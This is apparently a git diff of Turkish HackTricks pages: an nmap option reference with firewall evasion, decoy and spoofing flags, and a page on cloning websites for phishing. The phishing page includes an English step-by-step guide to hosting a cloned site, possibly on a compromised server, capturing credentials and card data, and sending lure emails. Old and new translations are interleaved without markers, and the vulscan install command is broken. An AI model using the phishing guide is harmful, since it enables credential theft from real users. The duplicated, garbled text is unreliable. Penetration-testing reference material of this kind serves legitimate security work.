* **`-sT`**: Bağlantıyı tamamlar, bu nedenle iz bırakır, ancak kesin olması için kullanılabilir. Varsayılan olarak yetkisiz.
* **`-sU`**: Daha yavaş, UDP için. Genellikle: DNS(53), SNMP(161,162), DHCP(67 ve 68), (-sU53,161,162,67,68): açık(yanıt), kapalı(port ulaşılamaz), filtrelenmiş (başka bir ICMP), açık/filtrelenmiş (hiçbir şey). Açık/filtrelenmiş durumunda, -sV, nmap'ın desteklediği sürümlerden herhangi birini tespit etmek için birçok istek gönderir ve gerçek durumu tespit edebilir. Zamanı oldukça artırır.
* **`-sY`**: SCTP protokolü bağlantıyı kuramaz, bu nedenle kayıtlar olmaz, -PY gibi çalışır
* **`-sN,-sX,-sF`:** Null, Fin, Xmas, bazı güvenlik duvarlarını aşabilir ve bilgi çıkarabilir. Standart uyumlu makinelerin SYN, RST veya ACK bayrakları içermeyen tüm isteklere RST ile yanıt vermesi gerektiğine dayanırlar: açık/filtrelenmiş(hiçbir şey), kapalı(RST), filtrelenmiş (ICMP ulaşılamaz). Windows, CIsco, BSDI ve OS/400 üzerinde güvenilir değildir. Unix üzerinde evet.
* **`-sM`**: Maimon taraması: FIN ve ACK bayrakları gönderir, şu anda tümünü kapalı olarak döndürecektir.
* **`-sA, sW`**: ACK ve Window, güvenlik duvarlarını tespit etmek için kullanılır, portların filtrelenip filtrelenmediğini bilmek için. -sW, açık/kapalı arasında ayrım yapar çünkü açık olanlar farklı bir pencere değeri ile yanıt verir: açık (pencere sıfır olmayan RST), kapalı (pencere sıfır olan RST), filtrelenmiş (ICMP ulaşılamaz veya hiçbir şey). Tüm bilgisayarlar bu şekilde çalışmaz, bu yüzden eğer hepsi kapalıysa, çalışmıyor demektir, eğer birkaçııksa, düzgün çalışıyor demektir ve eğer birçok açık ve birkaç kapalı varsa, ters şekilde çalışıyor demektir.
* **`-sI`:** Boşta tarama. Eğer aktif bir güvenlik duvarı varsa ve belirli bir IP'yi filtrelemediğini biliyorsak (veya sadece anonimlik istiyorsak) zombi tarayıcıyı kullanabiliriz (tüm portlar için çalışır), olası zombileri bulmak için ipidseq betiği veya exploit auxiliary/scanner/ip/ipidseq kullanabiliriz. Bu tarayıcı, IP paketlerinin IPID numarasına dayanır.
* **`--badsum`:** Yanlış toplam gönderir, bilgisayarlar paketleri reddeder, ancak güvenlik duvarları bir şeyler yanıtlayabilir, güvenlik duvarlarını tespit etmek için kullanılır.
* **`-sZ`:** "Garip" SCTP tarayıcı, çerez yankısı parçalarıyla probeler gönderirken açıksa düşürülmeli veya kapalıysa ABORT ile yanıtlanmalıdır. Init'ten geçmeyen güvenlik duvarlarından geçebilir, kötü olan şey, filtrelenmiş ile açık arasında ayrım yapmamasıdır.
* **`-sO`:** Protokol Ip taraması. Bazı durumlarda hatta protokol bile ayırt edilemeyen yanlış ve boş başlıklar gönderir. Eğer ICMP ulaşılamaz protokol gelirse kapalıdır, eğer ulaşılamaz port gelirse açıktır, eğer başka bir hata gelirse filtrelenmiştir, eğer hiçbir şey gelmezse, açık|filtrelenmiştir.
* **`-b <server>`:** FTPhost--> Bir makineden başka bir makineyi taramak için kullanılır, bunu yapmak için başka bir makinenin ftp'sine bağlanarak istediğiniz portlara dosya göndermesini istersiniz, yanıtlara göre açık olup olmadıklarını bileceksiniz. \[\<user>:\<password>@]\<server>\[:\<port>] Neredeyse tüm ftp sunucuları artık buna izin vermez ve bu nedenle pratikte pek kullanışlı değildir.
### **Merkezi analiz**
**-p:** Tarama yapılacak portları belirtmek için kullanılır. 65335'i seçmek için: **-p-** veya **-p all**. Nmap'in popülerliğine göre dahili bir sıralaması vardır. Varsayılan olarak ilk 1000'i kullanır. **-F** (hızlı tarama) ile ilk 100'ü tarar. **--top-ports \<numero>** Belirtilen sayıda ana portu (1'den 65335'e kadar) tarar. Portları rastgele sırayla kontrol eder, bunu önlemek için **-r** kullanılır. Ayrıca portları seçebiliriz: 20-30,80,443,1024- Bu sonuncusu, 1024'ten sonrasına bakacağı anlamına gelir. Ayrıca portları protokollere göre gruplayabiliriz: U:53,T:21-25,80,139,S:9. Nmap'ın popüler portları arasından bir aralık seçebiliriz: -p \[-1024] nmap-services içinde bulunan 1024'e kadar olan portları tarar. **--port-ratio \<ratio>** Belirli bir oran aralığındaki en yaygın portları tarar, oran 0 ile 1 arasında olmalıdır.
**-sV** Sürüm taraması, yoğunluğu 0 ile 9 arasında ayarlanabilir, varsayılan 7.
**--version-intensity \<numero>** Yoğunluğu ayarlarız, daha düşük olduğunda sadece olasılığı yüksek olan sorguları gönderir, ancak tümünü değil. Bu sayede UDP tarama süresini önemli ölçüde kısaltabiliriz.
**-O** İşletim sistemi tespiti
**--osscan-limit** Bir ana bilgisayarı iyi taramak için en az bir açık ve bir kapalı port olması gerekmektedir, bu koşul sağlanmazsa ve bu seçeneği belirlediysek, işletim sistemi tahmini yapmaz (zaman kazandırır)
**--osscan-guess** Belirleme mükemmel olmadığında daha fazla çaba harcar
**Scriptler**
\--script _\<dosyaadı>_|_\<kategori>_|_\<dizin>_|_\<ifade>_\[,...]
Varsayılanları kullanmak için -sC veya --script=default yeterlidir.
Varsayılanları kullanmak için -sC veya --script=default yeterlidir
Mevcut olan türler: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version ve vuln
Mevcut türler: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version ve vuln
* **Auth:** Kimlik doğrulama için mevcut olan tüm scriptleri çalıştırır.
* **Default:** Aracın varsayılan temel scriptlerini çalıştırır.
* **Discovery:** Hedef veya kurban hakkında bilgi toplar.
* **External:** Harici kaynakları kullanmak için script.
* **Intrusive:** Kurban veya hedef için müdahaleci olarak kabul edilen scriptleri kullanır.
* **Malware:** Zararlı kodlar veya arka kapılar tarafından açılan bağlantıları kontrol eder.
* **Safe:** Müdahaleci olmayan scriptleri çalıştırır.
* **Vuln:** En yaygın bilinen zafiyetleri keşfeder.
* **All:** Mevcut olan tüm NSE uzantılı scriptleri çalıştırır.
* **Auth:** Kimlik doğrulama için mevcut tüm _scriptleri_ çalıştırır
* **Default:** Aracın varsayılan temel _scriptlerini_ çalıştırır
* **Discovery:** _Hedef_ veya kurban hakkında bilgi toplar
* **External:** Harici kaynakları kullanmak için _script_
* **Intrusive:** Kurban veya _hedef_ için müdahaleci olarak kabul edilen _scriptleri_ kullanır
* **Malware:** Zararlı kodlar veya _arka kapılar_ tarafından açık bağlantıları kontrol eder
* **Safe:** Müdahaleci olmayan _scriptleri_ çalıştırır
* **Vuln:** En bilinen zayıflıkları keşfeder
* **All:** Mevcut tüm NSE uzantılı _scriptleri_ çalıştırır
Scriptleri aramak için:
**nmap --script-help="http-\*" -> http- ile başlayanlar**
**nmap --script-help="not intrusive" -> Bunlar hariç tüm scriptler**
**nmap --script-help="not intrusive" -> Bu olmayanlar**
**nmap --script-help="default or safe" -> İkisinden birinde veya her ikisinde olanlar**
**nmap --script-help="default or safe" -> Birinde veya her ikisinde olanlar**
**nmap --script-help="default and safe" --> Her ikisinde olanlar**
@ -89,64 +109,80 @@ Scriptleri aramak için:
\--script-help _\<dosyaadı>_|_\<kategori>_|_\<dizin>_|_\<ifade>_|all\[,...]
\--script-trace ---> Scriptin ilerlemesi hakkında bilgi verir
\--script-trace ---> Scriptin durumu hakkında bilgi verir
\--script-updatedb
**Bir scripti kullanmak için sadece şunu yazmak yeterlidir: nmap --script Script_Adı hedef** --> Scripti belirttiğinizde, hem script hem de tarama çalıştırılır, bu nedenle tarama seçenekleri de ekleyebilirsiniz, sadece güvenli olanları çalıştırmak için **"safe=1"** ekleyebiliriz.
**Bir scripti kullanmak için sadece şunu yazmak yeterlidir: namp --script Script_Adı hedef** --> Scripti yazdığınızda hem script hem de tarayıcı çalıştırılır, bu nedenle tarayıcı seçenekleri de ekleyebiliriz, sadece güvenli olanları çalıştırmak için **"safe=1"** ekleyebiliriz.
**Zaman Kontrolü**
**Nmap, saniye, dakika, ms cinsinden zamanı değiştirebilir:** --host-timeout arguments 900000ms, 900, 900s ve 15m hepsi aynı işi yapar.
**Nmap saniye, dakika, ms cinsinden zamanı değiştirebilir:** --host-timeout arguments 900000ms, 900, 900s ve 15m hepsi aynı işi yapar.
Nmap, taraması gereken toplam hedef sayısını gruplara böler ve bu grupları bloklar halinde analiz eder, tüm gruplar analiz edilene kadar bir sonraki bloğa geçmez (ve kullanıcı da blok analiz edilene kadar herhangi bir güncelleme almaz). Bu şekilde, nmap için büyük grupların kullanılması daha iyidir. Varsayılan olarak, C sınıfında 256 kullanır.
Nmap, taranacak toplam host sayısını gruplara böler ve bu grupları bloklar halinde analiz eder, böylece tüm gruplar analiz edilene kadar bir sonraki bloğa geçmez (ve kullanıcıya blok analiz edilene kadar herhangi bir güncelleme alınmaz). Bu nedenle, nmap için büyük gruplar kullanmak daha iyidir. Varsayılan olarak sınıf C'de 256 kullanır.
Değiştirmek için\*\*--min-hostgroup\*\* _**\<numhosts>**_**;** **--max-hostgroup** _**\<numhosts>**_ (Paralel tarama grup boyutlarını ayarlayın)
Değiştirilebilir: **--min-hostgroup** _**\<numhosts>**_**;** **--max-hostgroup** _**\<numhosts>**_ (Paralel tarama grup boyutlarını ayarlayın)
Paralel tarama sayısını kontrol edebilirsiniz, ancak genellikle gerekli değildir (nmap, ağ durumuna dayalı otomatik kontrolü zaten içerir): **--min-parallelism** _**\<numprobes>**_**;** **--max-parallelism** _**\<numprobes>**_
Paralel tarama sayısını kontrol edebilirsiniz ancak genellikle gerekli değildir (nmap, ağ durumuna göre otomatik kontrolü zaten içerir): **--min-parallelism** _**\<numprobes>**_**;** **--max-parallelism** _**\<numprobes>**_
RTT zaman aşımını değiştirebilirsiniz, ancak genellikle gerekli değildir: **--min-rtt-timeout** _**\<time>**_**,** **--max-rtt-timeout** _**\<time>**_**,** **--initial-rtt-timeout** _**\<time>**_
Rtt zaman aşımını değiştirebilirsiniz, ancak genellikle gerekli değildir: **--min-rtt-timeout** _**\<zaman>**_**,** **--max-rtt-timeout** _**\<zaman>**_**,** **--initial-rtt-timeout** _**\<zaman>**_
Deneme sayısını değiştirebilirsiniz: **--max-retries** _**\<numtries>**_
Deneme sayısını değiştirebilirsiniz: **--max-retries** _**\<denemesayısı>**_
Bir hedefin tarama süresini değiştirebilirsiniz: **--host-timeout** _**\<time>**_
Bir hostun tarama süresini değiştirebilirsiniz: **--host-timeout** _**\<zaman>**_
Her test arasındaki süreyi yavaşlatmak için: **--scan-delay** _**\<time>**_**;** **--max-scan-delay** _**\<time>**_
Her test arasındaki süreyi yavaşlatmak için: **--scan-delay** _**\<zaman>**_**;** **--max-scan-delay** _**\<zaman>**_
Saniye başına paket sayısını değiştirebilirsiniz: **--min-rate** _**\<number>**_**;** **--max-rate** _**\<number>**_
Saniyedeki paket sayısını değiştirebilirsiniz: **--min-rate** _**\<sayı>**_**;** **--max-rate** _**\<sayı>**_
Filtrelenmiş veya kapalı olan birçok portun yanıt vermesi uzun sürebilir, yalnızca açık olanları ilgilendiriyorsanız, **--defeat-rst-ratelimit** ile daha hızlı tarama yapabilirsiniz.
Filtrelenmiş veya kapalı olan birçok portun yanıt vermesi uzun sürebilir, sadece açık olanları ilgilendiriyorsa daha hızlı tarama yapabilirsiniz: **--defeat-rst-ratelimit**
Nmap'in ne kadar saldırgan olmasını istediğinizi belirlemek için: -T paranoid|sneaky|polite|normal|aggressive|insane
Nmap'ın ne kadar agresif olmasını istediğinizi belirlemek için: -T paranoid|sneaky|polite|normal|aggressive|insane
\-T (0-1)
\-T0 --> Sadece bir port taranır ve bir sonraki için 5 dakika beklenir
\-T1 ve T2 --> Birbirine çok benzer, ancak sırasıyla 15 ve 0.4 saniye beklerler
\-T1 ve T2 --> Çok benzer ancak her test arasında sırasıyla 15 ve 0,4 saniye bekler
\-T3 --> Varsayılan işlev, paralel olarak tarar
\-T3 --> Varsayılan işlevsellik, paralel içerir
\-T4 --> --max-rtt-timeout 1250ms --min-rtt-timeout 100ms --initial-rtt-timeout 500ms --max-retries 6 --max-scan-delay 10ms
\-T5 --> --max-rtt-timeout 300ms --min-rtt-timeout 50ms --initial-rtt-timeout 250ms --max-retries 2 --host-timeout 15m --max-scan-delay 5ms
**Firewall/IDS**
**Güvenlik Duvarı/IDS**
Portlara izin vermez ve paketleri analiz eder.
Portları kapatır ve paketleri analiz eder.
**-f** Paketleri parçalamak için kullanılır, varsayılan olarak başlıktan sonra 8 bayt olarak parçalar, bu boyutu belirtmek için ..mtu kullanılır (-f kullanmayın), ofset 8'in katı olmalıdır. **Versiyon taramaları ve scriptler parçalamayı desteklemez**
**-f** Paketleri parçalamak için, varsayılan olarak başlık sonrası 8 baytta parçalar, bu boyutu belirtmek için ..mtu kullanırız (bunu kullanarak -f kullanmayın), ofset 8'in katı olmalıdır. **Sürüm tarama ve scriptler parçalamayı desteklemez**
**-D decoy1,decoy2,BEN** Nmap, taramaları başka IP adresleriyle gönderir, böylece kendinizi gizlersiniz. ME'yi listeye eklerseniz, nmap sizi oraya yerleştirir, tamamen gizlenmek için kendinizden önce 5 veya 6 tane eklemek daha iyidir. RND:\<number> ile rastgele IP'ler oluşturabilirsiniz. TCP bağlantısız sürüm tespiti ile çalışmazlar. Bir ağın içindeyseniz, etkin IP'ler kullanmanız önemlidir, aksi takdirde sadece sizin etkin olduğunuzu kolayca tespit etmek mümkün olur.
**-D decoy1,decoy2,BEN** Nmap, başka IP adresleriyle tarama gönderir, böylece kendinizi gizlersiniz. ME'yi listeye eklerseniz, nmap sizi oraya yerleştirir, tamamen gizlenmek için kendinizden önce 5 veya 6 eklemek daha iyidir. RND:\<sayı> ile rastgele IP'ler oluşturabilirsiniz. TCP bağlantısı olmayan sürüm algılayıcılarıyla çalışmaz. Bir ağ içindeyseniz, etkin IP'leri kullanmanız önemlidir, aksi takdirde sizin tek etkin kişi olduğunuzu kolayca anlamak mümkün olur.
Rastgele IP'ler kullanmak için: nmap-D RND: 10 Hedef_IP
**-S IP** Nmap, IP adresinizi alamazsa, bunu belirtmeniz gerekir. Ayrıca, başka bir hedefin onları taradığı izlenimini vermek için de kullanılabilir.
**-S IP** Nmap, IP'nizi alamadığında onu vermeniz gereken yerdir. Ayrıca, başka bir hedefin tarama yaptığını düşündürmek için de kullanılabilir.
**-e \<arayüz>** Arayüzü seçmek için kullanılır
**-e \<arayüz>** Arayüzü seçmek için
Birçok yönetici, her şeyin düzgün çalışması ve başka bir çözüm bulmak yerine giriş kapılarınıık bırakır. Bunlar DNS veya FTP portları olabilir... Bu
**--proxies** _**\<Virgülle ayrılmış proxy URL'lerinin listesi>**_ Proxy kullanmak için, bazen bir proxy, nmap'in istediği kadar çok bağlantıyıık tutmaz, bu yüzden paralelizmi değiştirmemiz gerekebilir: --max-parallelism
Birçok yönetici, her şeyin düzgün çalışması için giriş kapılarınıık bırakır ve başka bir çözüm bulmaktan daha kolaydır. Bu zayıflığı aramak için nmap şunları içerir: **--source-port** _**\<portnumarası>**_**;-g** _**\<portnumarası>**_ _Eşdeğerdir_
**--data** _**\<onaltılık dize>**_ Onaltılık metin göndermek için: --data 0xdeadbeef ve --data \xCA\xFE\x09
**--data-string** _**\<dize>**_ Normal metin göndermek için: --data-string "Güvenlik Operasyonları tarafından yapılan tarama, uzantı 7192"
**--data-length** _**\<sayı>**_ Nmap sadece başlıklar gönderir, bu sayede rastgele oluşturulan belirli bir bayt sayısı ekleriz
IP paketini tamamen yapılandırmak için **--ip-options**
Gönderilen ve alınan paketlerdeki seçenekleri görmek istiyorsanız, --packet-trace belirtin. Nmap ile IP seçeneklerini kullanma hakkında daha fazla bilgi ve örnekler için [http://seclists.org/nmap-dev/2006/q3/52](http://seclists.org/nmap-dev/2006/q3/52).
**--ttl** _**\<değer>**_
**--randomize-hosts** Saldırının daha az belirgin olmasını sağlamak için
**--spoof-mac** _**\<MAC adresi, önek veya üretici adı>**_ Mac adresini değiştirmek için örnekler: Apple, 0, 01:02:03:04:05:06, deadbeefcafe, 0020F2 ve Cisco
**--proxies** _**\<Virgülle ayrılmış proxy URL'leri listesi>**_ Proksileri kullanmak için, bazen bir proxy nmap'in istediği kadar çok bağlantıyıık tutmaz, bu durumda paralelizmi değiştirmek gerekebilir: --max-parallelism
**-sP** ARP ile ağdaki ana bilgisayarları keşfetmek için
@ -158,23 +194,23 @@ Birçok yönetici, belirli bir bağlantı noktasından gelen tüm paketlerin ge
**-oX dosya** XML çıktısı
**-oS dosya** Script kidies çıktısı
**-oS dosya** Script çocukları çıktısı
**-oG dosya** Grepable çıktı
**-oA dosya** -oS hariç tüm çıktılar
**-v seviye** ayrıntı düzeyi
**-v seviye** ayrıntı seviyesi
**-d seviye** hata ayıklama düzeyi
**-d seviye** hata ayıklama
**--reason** Ana bilgisayarın nedeni ve durumu
**--reason** Ana bilgisayarın ve durumun nedeni
**--stats-every zaman** Belirli bir süre sonra durumu bildirir
**--stats-every zaman** Belirli aralıklarla durumu bildirir
**--packet-trace** Gönderilen paketleri görmek için filtreler belirtilebilir, örneğin: --version-trace veya --script-trace
**--packet-trace** Gönderilen paketleri görmek için filtreler belirtilebilir: --version-trace veya --script-trace
**--open** ık, açık|filtrelenen ve filtrelenmeyenleri gösterir
**--open** ık olanları, açık|filtrelenenleri ve filtrelenmeyenleri gösterir
**--resume dosya** Özet çıkarır
@ -188,9 +224,9 @@ Birçok yönetici, belirli bir bağlantı noktasından gelen tüm paketlerin ge
Nmap çalışırken seçenekleri değiştirebiliriz:
v / V Ayrıntı düzeyini artır / azalt
v / V Ayrıntı seviyesini artır / azalt
d / D Hata ayıklama düzeyini artır / azalt
d / D Hata ayıklama seviyesini artır / azalt
p / P Paket izlemeyi aç / kapat
@ -198,9 +234,9 @@ p / P Paket izlemeyi aç / kapat
**Vulscan**
Nmap betiği, çevrimdışı bir veritabanında (diğer önemli veritabanlarından indirilen) elde edilen hizmet sürümlerine bakar ve olası zayıflıkları döndürür.
Nmap'in bir betiği, alınan hizmet sürümlerini çevrimdışı bir veritabanında (diğer önemli veritabanlarından indirilen) kontrol eder ve olası zayıflıkları döndürür
Kullanılan veritabanları:
Kullandığı veritabanları:
1. Scipvuldb.csv | [http://www.scip.ch/en/?vuldb](http://www.scip.ch/en/?vuldb)
2. Cve.csv | [http://cve.mitre.org](http://cve.mitre.org/)
@ -215,32 +251,18 @@ Nmap klasörüne indirip kurmak için:
wget http://www.computec.ch/projekte/vulscan/download/nmap\_nse\_vulscan-2.0.tar.gz && tar -czvf nmap\_nse\_vulscan-2.0.tar.gz vulscan/ && sudo cp -r vulscan/ /usr/share/nmap/scripts/
Ayrıca, veritabanı paketlerini indirmeniz ve bunları /usr/share/nmap/scripts/vulscan/ dizinine eklemeniz gerekecektir.
Ayrıca veritabanı paketlerini indirip /usr/share/nmap/scripts/vulscan/ klasörüne eklemek gerekecektir
Kullanım:
Hepsini kullanmak için: sudo nmap -sV --script=vulscan TARAMA\_YAPILACAK\_ANA\_BİLGİSAYAR
Hepsini kullanmak için: sudo nmap -sV --script=vulscan TARAMA_YAPILACAK_IP
Belirli bir veritabanını kullanmak için: sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv TARAMA\_YAPILACAK\_ANA\_BİLGİSAYAR
Belirli bir veritabanını kullanmak için: sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv TARAMA_YAPILACAK_IP
## Nmap Hizmet taramasını 16 kat hızlandırma
## Nmap Hizmet taramasını x16 hızlandırma
[**Bu gönderiye**](https://joshua.hu/nmap-speedup-service-scanning-16x) göre, nmap hizmet analizini, **`/usr/share/nmap/nmap-service-probes`** dosyasındaki tüm **`totalwaitms`** değerlerini **300** ve **`tcpwrappedms`** değerini **200** olarak değiştirerek hızlandırabilirsiniz.
[**Bu gönderiye**](https://joshua.hu/nmap-speedup-service-scanning-16x) göre, nmap hizmet analizini hızlandırabilirsiniz, tüm **`totalwaitms`** değerlerini **`/usr/share/nmap/nmap-service-probes`** dosyasında **300** ve **`tcpwrappedms`** değerini **200** olarak değiştirerek.
Ayrıca, özel olarak tanımlanmamış **`servicewaitms`** değeri olmayan problar, varsayılan bir değer olan **`5000`** kullanır. Bu nedenle, her bir proba değer ekleyebilir veya **nmap'i** kendimiz derleyebilir ve [**service\_scan.h**](https://github.com/nmap/nmap/blob/master/service\_scan.h#L79) dosyasında varsayılan değeri değiştirebiliriz.
Ayrıca, özellikle tanımlanmamış **`servicewaitms`** değerine sahip probeler varsayılan olarak **`5000`** değerini kullanır. Bu nedenle, her bir probeye değer ekleyebiliriz veya **nmap'i derleyebiliriz** ve [**service\_scan.h**](https://github.com/nmap/nmap/blob/master/service\_scan.h#L79) dosyasındaki varsayılan değeri değiştirebiliriz.
Eğer `/usr/share/nmap/nmap-service-probes` dosyasındaki **`totalwaitms`** ve **`tcpwrappedms`** değerlerini hiç değiştirmek istemiyorsanız, [açma kodunu](https://github.com/nmap/nmap/blob/master/service\_scan.cc#L1358) düzenleyerek bu değerlerin `nmap-service-probes` dosyasında tamamen yok sayılmasını sağlayabilirsiniz.
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin</summary>
HackTricks'yi desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **tanıtmak veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live).
* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
</details>
Eğer `/usr/share/nmap/nmap-service-probes` dosyasındaki **`totalwaitms`** ve **`tcpwrappedms`** değerlerini hiç değiştirmek istemiyorsanız, [ayıklama kodunu](https://github.com/nmap/nmap/blob/master/service\_scan.cc#L1358) düzenleyerek bu değerlerin `nmap-service-probes` dosyasındaki tamamen yok sayılmasını sağlayabilirsiniz.

View file

@ -1,23 +1,28 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> öğrenin!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'ı **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** paylaşın.
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
Bazen bir phishing değerlendirmesi için tamamen bir web sitesini **klonlamak** faydalı olabilir.
{% embed url="https://websec.nl/" %}
Unutmayın, kullanıcının sekmesini "kontrol" etmek için klonlanmış web sitesine BeEF kancası gibi bazı yükler ekleyebilirsiniz.
Bu amaçla kullanabileceğiniz farklı araçlar vardır:
Bazen bir siber saldırı değerlendirmesi için tamamen bir web sitesini **kopyalamak** faydalı olabilir.
Kopyalanan web sitesine ayrıca bir BeEF kancası gibi bazı yükler ekleyebilirsiniz, böylece kullanıcının sekmesini "kontrol" edebilirsiniz.
Bu amaçla kullanabileceğiniz farklı araçlar bulunmaktadır:
## wget
```text
@ -25,89 +30,50 @@ wget -mk -nH
```
## goclone
goclone, a Go-based tool, allows you to clone a website by creating a local copy of the target website's files and directories. This can be useful for phishing attacks or for offline analysis.
### Clone a Website
### Installation
#### Description
To install goclone, you can use the following command:
The goclone tool allows you to clone a website by providing the URL of the target website. This can be useful for creating phishing pages that mimic legitimate websites to trick users into providing their sensitive information.
#### Usage
```bash
go get -u github.com/krishpranav/goclone
goclone -url <target_website_url>
```
### Usage
To clone a website using goclone, you need to provide the target website's URL and the output directory where the cloned files will be saved. You can use the following command:
#### Example
```bash
goclone -url <target_url> -out <output_directory>
goclone -url https://www.example.com
```
For example, to clone the website `https://www.example.com` and save the cloned files in the `output` directory, you can use the following command:
#### Output
```bash
goclone -url https://www.example.com -out output
```
### Additional Options
goclone provides some additional options that you can use to customize the cloning process:
- `-depth`: Specifies the maximum depth of the cloning process. By default, goclone will clone the entire website. You can use the `-depth` option to limit the number of levels to be cloned.
- `-exclude`: Specifies a list of directories or files to be excluded from the cloning process. You can use this option to exclude unnecessary files or directories.
- `-cookies`: Specifies a file containing cookies to be used during the cloning process. This can be useful for cloning websites that require authentication.
- `-timeout`: Specifies the timeout for each HTTP request made by goclone. By default, the timeout is set to 10 seconds.
### Conclusion
goclone is a powerful tool that allows you to clone websites easily. However, it is important to use this tool responsibly and ethically.
The tool will create a clone of the target website and store it locally for further customization and deployment.
```bash
#https://github.com/imthaghost/goclone
goclone <url>
```
## Sosyal Mühendislik Araç Seti
### Clone a Website
### Bir Web Sitesini Klonlama
One of the most effective techniques used in phishing attacks is the cloning of legitimate websites. By creating an identical copy of a trusted website, attackers can trick users into entering their sensitive information, such as login credentials or credit card details.
Phishing websites are typically hosted on compromised servers or cloud/SaaS platforms. To clone a website, you will need to follow these steps:
1. Identify the target website: Choose the website you want to clone. It could be a popular social media platform, an online banking portal, or any other site that is likely to attract users.
2. Gather information: Collect as much information as possible about the target website. This includes the website's structure, design, content, and any additional features or functionalities.
3. Set up a phishing server: Create a server that will host the cloned website. This can be done using a cloud/SaaS platform or by compromising a server and installing the necessary software.
4. Clone the website: Use tools like HTTrack or Wget to download the entire website's content, including HTML, CSS, JavaScript, and images. Make sure to preserve the original directory structure and file names.
5. Modify the cloned website: Customize the cloned website to make it look and feel like the original. This includes replicating the design, layout, and branding elements. You may also need to modify the website's code to redirect user inputs to your phishing server.
6. Set up phishing scripts: Implement phishing scripts to capture user inputs, such as login credentials or credit card details. These scripts can be written in languages like PHP or JavaScript and should be integrated into the cloned website.
7. Test the cloned website: Verify that the cloned website is functioning correctly and that the phishing scripts are capturing the desired information. Test it on different devices and browsers to ensure compatibility.
8. Launch the phishing campaign: Once the cloned website is ready, you can start your phishing campaign. This involves sending phishing emails or messages to potential victims, enticing them to visit the cloned website and enter their information.
Remember, phishing is an illegal activity and should only be performed with proper authorization and for legitimate purposes, such as penetration testing or security awareness training.
```bash
#https://github.com/trustedsec/social-engineer-toolkit
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
<summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
